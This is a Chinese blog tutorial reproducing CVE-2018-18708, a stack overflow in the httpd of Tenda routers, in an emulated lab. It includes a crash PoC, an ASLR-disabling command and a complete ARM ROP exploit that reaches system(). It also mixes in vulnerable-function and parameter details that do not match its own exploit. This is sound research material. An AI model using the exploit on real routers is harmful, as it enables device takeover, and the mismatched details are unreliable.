【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)

  • Post author:
  • Post category:其他




1 漏洞概述

在这里插入图片描述

从搜索引擎中搜索一下CVE会有很多提供CVE索引的网站,我们简要的看一下这个CVE的描述。

An issue was discovered on Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN, and AC18 V15.03.05.19(6318)_CN devices. It is a


buffer overflow vulnerability


in the router’s web server –

httpd

. When processing the “page” parameter of the function “fromAddressNat” for a post request, the value is directly used in a sprintf to a local variable placed on the stack, which overrides the return address of the function.

CVE-2018-18708,在Tenda AC7 V15.03.06.44_CN, AC9 V15.03.05.19(6318)_CN, AC10 V15.03.06.23_CN, AC15 V15.03.05.19_CN等多款Tenda产品中的httpd存在缓冲区溢出漏洞。攻击者可以利用该漏洞,覆盖函数的返回地址,造成拒绝服务攻击。



2 环境搭建



2.1 ubuntu20.04系统下的qemu虚拟机启动debian-arm32系统配置流程


拷贝镜像文件


在这里插入图片描述


ubuntu安装网桥工具

# docker容器安装
sudo apt install docker.io
sudo systemctl start docker
sudo apt install net-tools
ifconfig

在这里插入图片描述

sudo apt-get update
sudo apt-get install uml-utilities bridge-utils ifupdown
# 网络设置
# 链接网桥和借口
sudo tunctl -t tap0
sudo ifconfig tap0 up
sudo brctl addif docker0 tap0

在这里插入图片描述

sudo apt update 		# 更新apt
sudo apt install qemu	# 安装qemu
sudo apt install qemu-system-arm qemu

#通过qemu启动配置完成的Debian-armhf系统
sudo qemu-system-arm \
	-M vexpress-a9 \
	-kernel vmlinuz-3.2.0-4-vexpress \
	-initrd initrd.img-3.2.0-4-vexpress \
	-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
	-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
	-net nic -net tap,ifname=tap0,script=no,downscript=no \
	-nographic 

在这里插入图片描述

#上述命令执行后,会出现debian-armhf login: ,账号密码都是root
ip addr add 172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1



2.2 固件模拟



2.2.1 解压固件

首先把固件文件拷贝到文件夹中,然后在终端里将固件解压。进入固件文件夹,根据elf文件头查看一下文件信息。

sudo apt-get install binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox

在这里插入图片描述

32位小端,之后反编译的时候用IDA32反编译。



2.2.2 试运行漏洞文件

我们首先使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpd。使用的命令如下

sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd

在这里插入图片描述

我们发现程序出现一个错误,不存在

/proc/sys/kernel/core_pattern

这样一个文件夹,并且程序的执行,卡在了上图字符串的位置。

首先,我们使用一下指令创建一个程序需要的文件夹。

mkdir -p ./proc/sys/kernel



2.2.3 patch二进制文件

为了使程序能继续进行下去,我们在IDA中通过字符串搜索(ctrl+F)

Welcome

字符串,使用

ctrl+x

查看交叉引用进入到打印了该字符串的函数。

在这里插入图片描述

明显的此处我们程序运行到第42行时,因为

check_network

返回的值,程序进入了死循环。

在图视图中看一下,这里是一条

BL

指令,然后将函数的返回值从

r0

中,转移到

r3

中,为了是我们的程序能绕过此处的死循环,我们可以使用IDA提供的

patch bytes

功能将

MOV R3, R0

替换成

MOV R3, #1

,这样我们的程序就可以按照我们设想的流程进行下去,两处的逻辑相同,可使用同一种方法进行绕过。

在这里插入图片描述

我们借助rasm2工具翻译汇编指令到机器指令,使用的指令如下。

sudo apt install radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"

在这里插入图片描述

IDA中

Edit->Patch program->change byte

更改鼠标指针处的字节。

在这里插入图片描述

pathch过后的十六进制视图和图视图如下:

在这里插入图片描述

在这里插入图片描述

然后,

Edit->Patch program->Apply patches to input file

将我们的更改保存进二进制文件。



2.2.4 更改监听IP地址

更换掉httpd文件,此时我们重新运行,程序正常运行。

在这里插入图片描述

此时的监听的ip地址不对,我们配置一下网络,建立一个虚拟网桥br0,并再次运行。

sudo brctl addbr br0    
sudo ifconfig br0 172.17.0.222 up

在这里插入图片描述

尝试访问一下页面,还是出现错误。

在这里插入图片描述

按照0431师傅的做法执行以下指令,然后刷新一下就正常了。

cp -rf ./webroot_ro/* ./webroot/

在这里插入图片描述



2.2.5 使用到的PWN工具安装

主要使用到了ROPgadget,pwngdb以及pwntools。

#安装pwntools以及ropgadget,还有后面要用到的pwngdb
sudo apt install vim
sudo apt install git
sudo apt install gcc
sudo apt install python3-pip
sudo apt install python-is-python3
sudo apt-get install qemu-user qemu-system
sudo apt-get install gdb-multiarch

cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install

cd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudo apt install python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh

至此,环境配置结束。



3 漏洞分析

首先在bin文件中找到存在漏洞的文件

httpd

,使用checksec看一下开启的保护:

在这里插入图片描述

32位程序,可以发现没有开启PIE和 canary保护。漏洞原因是web服务器在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出。根据ssid字符串定位到

form_fast_setting_wifi_set

函数。

在这里插入图片描述

程序获取ssid参数后,没有经过检查就直接使用

strcpy

函数复制到栈变量中。

漏洞的跟踪与分析一般有两种思路:

  • 正向数据流跟踪:从输入函数开始跟踪数据处理逻辑
  • 逆向数据流跟踪:从操作函数反向跟踪参数的数据流,找到源缓冲区和目的缓冲区。

根据官方给出的PoC,可以定位到漏洞点的位置,在函数

sub_C24C0



在这里插入图片描述



3.1 逆向分析回溯函数的调用关系

因为我们已经知道了目标漏洞代码的位置,这里采用逆向数据流跟踪方式。在之前我们patch byte时,程序已经执行到了

sub_2E420

,而溢出点在

sub_C24C0

,我们将这两个函数中间的函数调用过程都通过IDA中的调用关系(单击函数名,按x查看调用了此函数的所有函数),全部梳理出来。

在这里插入图片描述

得到调用链为:sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数),分析清楚了触发漏洞的路径。



3.2 逆向数据流跟踪参数来源

跟踪梳理出漏洞代码strcpy函数中源地址s的来源。

(1)被溢出的缓冲区a2来自sub_C24C0函数的上一级函数sub_C17A0的v12,缓冲区的长度为176。

在这里插入图片描述

(2)溢出的字符串src的来源

src ← sub_C24C0函数的a1← sub_C17A0的a2参数 ← sub_C14DC的a2参数 ← formSetMacFilterCfg函数的v39 ← sub_2BA8C(v3, “deviceList”, &unk_F5124)函数的返回值。

在这里插入图片描述

一路查看参数引用跟上来还是挺简单的。

在这里插入图片描述

由此可以判断出,程序获取到HTTP请求中deviceList的值,并一路传递到sub_c24C0函数的漏洞点。



3.3 调用路径中的分支跳转条件分析

我们看一下之前的函数关系,以及src参数的来源,基本上路径上是吻合的。

sub_C24C0 <- sub_C17A0 <- sub_C14DC <- formSetMacfiltercfg <- sub_42378 <- sub_2E9EC (initWebs函数)<- sub_2E420(main函数)

我们从sub_2E420函数开始,逐一查看路径中的分支跳转。


(1) sub_2E9EC<- sub_2E420


网络监测后,无分支。


(2) sub_42378 <- sub_2E9EC


有分支判断,但条件已经满足。


(3) formSetMacfiltercfg <- sub_42378


在这里插入图片描述

该函数中有不同功能的处理函数。请求达到的路径,会调用相应的处理函数,我们需要找到函数formSetMacfiltercfg 的路径。要进入formSetMacfiltercfg函数需要访问”/goform/setMacFilterCfg”。


(4) sub_C14DC <- formSetMacfiltercfg


在这里插入图片描述

需要让v19=0,而v19来自于sub_C10D0函数对macFilterType的参数处理。

进入sub_C10D0函数看看macFilterType需要如何设置,只需要a1等于”black”或者”white”即可返回0。

在这里插入图片描述

data = {“macFilterType”:“white”,“deviceList”:payload}


(5) sub_C17A0 <- sub_C14DC


有分支判断,但条件已经满足。


(6) sub_C24C0 <- sub_C17A0


有分支判断,但条件已经满足。

**(7) sub_C24C0 **

在这里插入图片描述



3.4 漏洞触发

结合抓包分析报文确定poc格式为:

import requests
 
url = "http://192.168.2.3/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "\r"+ "A"*500}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

用到的终端命令为:

# 第一个终端
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

# 第二个终端
gdb-multiarch
target remote :1234
continue

#第三个终端
执行python脚本

运行PoC后成功的覆盖了返回地址,PC寄存器的值。

在这里插入图片描述



4 漏洞利用

(1) 寻找偏移量

利用cyclic找到偏移量

在这里插入图片描述

这里记得检查下CPSR寄存器的T位,因为栈上内容弹出到PC寄存器时,其最低有效位(LSB)将被写入CPSR寄存器的T位,而PC本身的LSB被设置为0。如果T位值为1,需要在地址上加一还原。这里图中所示T是0。

在这里插入图片描述

(2) 确定利用方案

在这里插入图片描述

之前我们对httpd文件进行的保护机制检查,程序开启了NX保护,无法直接执行栈中的shellcode,我们使用ROP技术来绕过NX。初步的思路是:

    1. 将system函数地址写入某寄存器。
    1. 向r0寄存器中填入内容(即system函数的参数),并跳转到system函数。
    1. 我们还需要libc.so的基地址。
    1. system函数在libc中的偏移。


libc基地址


首先,确定system函数的地址需要先找到libc的基址,根据偏移再计算出system函数的真实地址。qemu-user模拟不支持vmmap指令打印内存信息,官方给出了说明:https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py。所以我们使用puts函数泄露libc地址,gdb调试下断点到puts函数,可以看到地址为0xff5c1cd4,在IDA中查看puts函数的地址为0x35cd4,得到偏移量为:0xff5c1cd4 – 0x35cd4 = 0xff58c000.而且需要说明的一点是,每次调试libc的基地址都是相同的,这是因为gdb调试的默认关闭了ASLR。

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continue
continue

在这里插入图片描述


获取system函数偏移量

readelf -s ./lib/libc.so.0 |grep system

在这里插入图片描述


找到一个可以控制R0的gadget

ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3

在这里插入图片描述


跳转到R3的gadget

ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}

在这里插入图片描述

最终 payload格式为:[offset, gadget1, system_addr, gadget2, cmd],流程如下:

  1. 溢出处函数返回跳转到第一个gadget1 (pop {r3, pc}) ;
  2. 栈顶第一个元素(system_addr弹出到R3寄存器,第二个元素(gadget2:mov r0, sp ; blx r3})弹出到PC,使程序流执行到gadget2;
  3. 此时的栈顶内容(cmd)放入RO寄存器,并使程序跳转到R3寄存器指

    向的地址去执行。

    整理后我们的POC为:
from pwn import *
import requests

#cmd = "echo PWN!"

cmd = b"echo PWN!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'a'*176
#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd
#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://172.17.0.222/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)

执行之后可以看到输出了”PWN!”。

在这里插入图片描述



附件



1 完整的命令流程

# docker容器安装
sudo apt install docker.io
sudo systemctl start docker
sudo apt install net-tools
ifconfig


sudo apt-get update
sudo apt-get install uml-utilities bridge-utils ifupdown
# 网络设置
# 链接网桥和借口
sudo tunctl -t tap0
sudo ifconfig tap0 up
sudo brctl addif docker0 tap0


sudo apt update 		# 更新apt
sudo apt install qemu	# 安装qemu
sudo apt install qemu-system-arm qemu

#通过qemu启动配置完成的Debian-armhf系统
sudo qemu-system-arm \
	-M vexpress-a9 \
	-kernel vmlinuz-3.2.0-4-vexpress \
	-initrd initrd.img-3.2.0-4-vexpress \
	-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
	-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
	-net nic -net tap,ifname=tap0,script=no,downscript=no \
	-nographic 

#上述命令执行后,会出现debian-armhf login: ,账号密码都是root
ip addr add 172.17.0.111/24 dev eth0
ip route add default via 172.17.0.1


# 固件模拟,解压固件
sudo apt-get install binwalk
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin
cd _US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/
cd squashfs-root/
readelf -h bin/busybox

#使用qemu-arm-static配合chroot启动待分析的目标文件bin/httpd
sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./
sudo chroot ./ ./qemu-arm-static ./bin/httpd

# 修复错误,绕过死循环
mkdir -p ./proc/sys/kernel
sudo apt install radare2
rasm2 -a arm "mov r3,1"
rasm2 -a arm "mov r3,r0"

# 修复ip错误
sudo chroot ./ ./qemu-arm-static ./bin/httpd
sudo lsof -i:80

# 添加br0虚拟网卡
sudo brctl addbr br0    
sudo ifconfig br0 172.17.0.222 up

# 解决网页错误问题
cp -rf ./webroot_ro/* ./webroot/


#安装pwntools以及ropgadget,还有后面要用到的pwngdb
sudo apt install vim
sudo apt install git
sudo apt install gcc
sudo apt install python3-pip
sudo apt install python-is-python3
sudo apt-get install qemu-user qemu-system
sudo apt-get install gdb-multiarch

cd ~
mkdir tools
cd ~/tools
git clone https://github.com/Gallopsled/pwntools.git
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

cd ~/tools
git clone https://github.com/pwndbg/pwndbg.git
sudo apt install python3-testresources
cd ~/tools/pwndbg
sudo python3 -m pip install setuptools
./setup.sh

cd ~
sudo pip3 install capstone
cd tools
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python3 setup.py install

# 如果依旧出现类似这样的错误
# pkg_resources.ResolutionError: Script 'scripts/ROPgadget' not found in metadata at '/home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-info'
# 使用如下指令,将ROPgadget文件夹中的scripts文件夹拷贝到他要的文件夹
# sudo cp -r scripts/ /home/fuxian/.local/lib/python3.8/site-packages/ROPGadget-7.2.dist-info

sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

# 漏洞触发
sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd

gdb-multiarch
target remote :1234
continue


# 漏洞利用
readelf -s ./lib/libc.so.0 |grep system
ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3

sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd
gdb-multiarch
target remote :1234
file ./bin/httpd
b puts
continue
continue



2 漏洞触发PoC

import requests

url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType":"white","deviceList":"\r"+"A"*500}
requests.post(url,cookies=cookie,data=data)
requests.post(url,cookies=cookie,data=data)



3 漏洞利用PoC

from pwn import *
import requests

#cmd = "echo PWN!"

cmd = b"echo PWN!"
libc_base = 0xff58c000
system = libc_base + 0x5A270
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298

payload = b'a'*176
#payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd
#payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd

url = "http://172.17.0.222/goform/setMacFilterCfg"

cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "black", "deviceList": b"\r" + payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)



参考链接


[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)



CVE-2018-18708:Tenda路由器缓冲区溢出漏洞分析



CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)



版权声明:本文为m0_55368674原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。